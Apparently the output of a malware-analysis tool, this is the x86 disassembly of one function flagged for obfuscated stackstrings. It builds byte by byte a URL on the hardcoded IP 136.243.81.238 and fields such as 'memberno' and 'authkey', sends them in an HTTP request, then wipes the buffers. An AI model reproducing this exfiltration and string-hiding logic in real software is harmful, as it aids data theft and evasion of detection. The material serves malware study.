Function at 0x10028646
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x100441e1
call fcn.1000405d
mov dword [ebp - 0x78], eax
call fcn.1000123e
mov dword [ebp - 0x7c], eax
mov byte [ebp - 0x70], 0x31
mov byte [ebp - 0x6f], 0x33
mov byte [ebp - 0x6e], 0x36
mov byte [ebp - 0x6d], 0x2e
mov byte [ebp - 0x6c], 0x32
mov byte [ebp - 0x6b], 0x34
mov byte [ebp - 0x6a], 0x33
mov byte [ebp - 0x69], 0x2e
mov byte [ebp - 0x68], 0x38
mov byte [ebp - 0x67], 0x31
mov byte [ebp - 0x66], 0x2e
mov byte [ebp - 0x65], 0x32
mov byte [ebp - 0x64], 0x33
mov byte [ebp - 0x63], 0x38
mov byte [ebp - 0x62], 0x2f
mov byte [ebp - 0x61], 0x6c
mov byte [ebp - 0x60], 0x6f
mov byte [ebp - 0x5f], 0x67
mov byte [ebp - 0x5e], 0x69
mov byte [ebp - 0x5d], 0x6e
mov byte [ebp - 0x5c], 0x2f
mov byte [ebp - 0x5b], 0x61
mov byte [ebp - 0x5a], 0x6c
mov byte [ebp - 0x59], 0x69
mov byte [ebp - 0x58], 0x63
mov byte [ebp - 0x57], 0x69
mov byte [ebp - 0x56], 0x61
mov byte [ebp - 0x55], 0x2f
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x70
mov byte [ebp - 0x51], 0x6f
mov byte [ebp - 0x50], 0x72
mov byte [ebp - 0x4f], 0x74
mov byte [ebp - 0x4e], 0x73
mov byte [ebp - 0x4d], 0x30
mov byte [ebp - 0x4c], 0x31
mov byte [ebp - 0x4b], 0x2e
mov byte [ebp - 0x4a], 0x70
mov byte [ebp - 0x49], 0x68
mov byte [ebp - 0x48], 0x70
mov byte [ebp - 0x47], bl
mov byte [ebp - 0x44], 0x68
mov byte [ebp - 0x43], 0x74
mov byte [ebp - 0x42], 0x74
mov byte [ebp - 0x41], 0x70
mov byte [ebp - 0x40], 0x73
mov byte [ebp - 0x3f], 0x3a
mov byte [ebp - 0x3e], 0x2f
mov byte [ebp - 0x3d], 0x2f
mov byte [ebp - 0x3c], 0x31
mov byte [ebp - 0x3b], 0x33
mov byte [ebp - 0x3a], 0x36
mov byte [ebp - 0x39], 0x2e
mov byte [ebp - 0x38], 0x32
mov byte [ebp - 0x37], 0x34
mov byte [ebp - 0x36], 0x33
mov byte [ebp - 0x35], 0x2e
mov byte [ebp - 0x34], 0x38
mov byte [ebp - 0x33], 0x31
mov byte [ebp - 0x32], 0x2e
mov byte [ebp - 0x31], 0x32
mov byte [ebp - 0x30], 0x33
mov byte [ebp - 0x2f], 0x38
mov byte [ebp - 0x2e], 0x2f
push ebx
push dword [0x1005e0f4]
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], 0x6f
mov byte [ebp - 0x2b], 0x67
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], bl
mov byte [ebp - 0x24], 0x6d
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x6d
mov byte [ebp - 0x21], 0x62
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x18], 0x61
mov byte [ebp - 0x17], 0x75
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x68
mov byte [ebp - 0x14], 0x6b
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x79
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], bl
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], bl
call fcn.100042f4
mov dword [ebp - 0x84], eax
mov eax, dword [0x1005e0f8]
add eax, 8
push eax
call fcn.100045e6
mov dword [ebp - 0x80], eax
mov eax, dword [0x1005e0f8]
movzx eax, byte [eax + 0x409]
cdq
add esp, 0x2c
push edx
push eax
call fcn.100042f4
push ebx
mov dword [ebp - 0x88], eax
mov eax, dword [0x1005ea2c]
push dword [eax]
mov esi, 0x10044520
push esi
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x84]
mov edi, 0x100445d8
push edi
push dword [eax]
lea eax, [ebp - 0x24]
push esi
push eax
call fcn.1000405d
push ebx
push ebx
push ebx
push ebx
push str.versionreports01
push dword [ebp + 8]
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x70]
push 0x10048074
push eax
call fcn.1000405d
add esp, 0x48
push ebx
push ebx
push ebx
mov dword [ebp - 0x8c], eax
push ebx
mov eax, dword [ebp - 0x80]
push dword [eax]
lea eax, [ebp - 0x10]
push esi
push eax
push dword [ebp - 0x74]
mov eax, edi
call fcn.10004296
mov eax, dword [ebp - 0x88]
push ebx
push ebx
push ebx
push ebx
push dword [eax]
lea eax, [ebp - 8]
push esi
mov esi, dword [ebp - 0x74]
push eax
push esi
mov eax, edi
call fcn.10004296
mov edi, dword [ebp - 0x8c]
add esp, 0x40
push ebx
push ebx
push dword [esi]
lea eax, [ebp - 0x44]
push str._r_nContent_Type:__r_nContent_Length:__r_n_r_n
push str.close
push str._r_nConnection:
push eax
push dword [edi]
xor eax, eax
push dword [ebp - 0x7c]
call fcn.10003959
add esp, 0x24
cmp eax, ebx
je 0x10028903
mov ecx, dword [ebp - 0x78]
mov esi, dword [eax + 4]
mov edx, dword [ecx + 4]
mov dword [ecx + 4], esi
mov esi, dword [eax]
mov dword [eax + 4], edx
mov edx, dword [ecx]
mov dword [ecx], esi
mov esi, eax
mov dword [eax], edx
call fcn.10004019
mov esi, dword [ebp - 0x84]
call fcn.10004019
mov esi, dword [ebp - 0x80]
call fcn.10004019
mov esi, dword [ebp - 0x88]
call fcn.10004019
mov esi, dword [ebp - 0x74]
call fcn.10004019
mov esi, edi
call fcn.10004019
push 0x2a
pop ecx
lea eax, [ebp - 0x70]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10028936
push 0x1d
pop ecx
lea eax, [ebp - 0x44]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10028942
push 9
pop ecx
lea eax, [ebp - 0x24]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1002894e
push 8
pop ecx
lea eax, [ebp - 0x18]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1002895a
push 5
pop ecx
lea eax, [ebp - 0x10]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10028966
push 4
pop ecx
lea eax, [ebp - 8]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10028972
mov ebx, dword [ebp - 0x7c]
call fcn.1000180b
mov eax, dword [ebp - 0x78]
pop edi
pop esi
pop ebx
leave
ret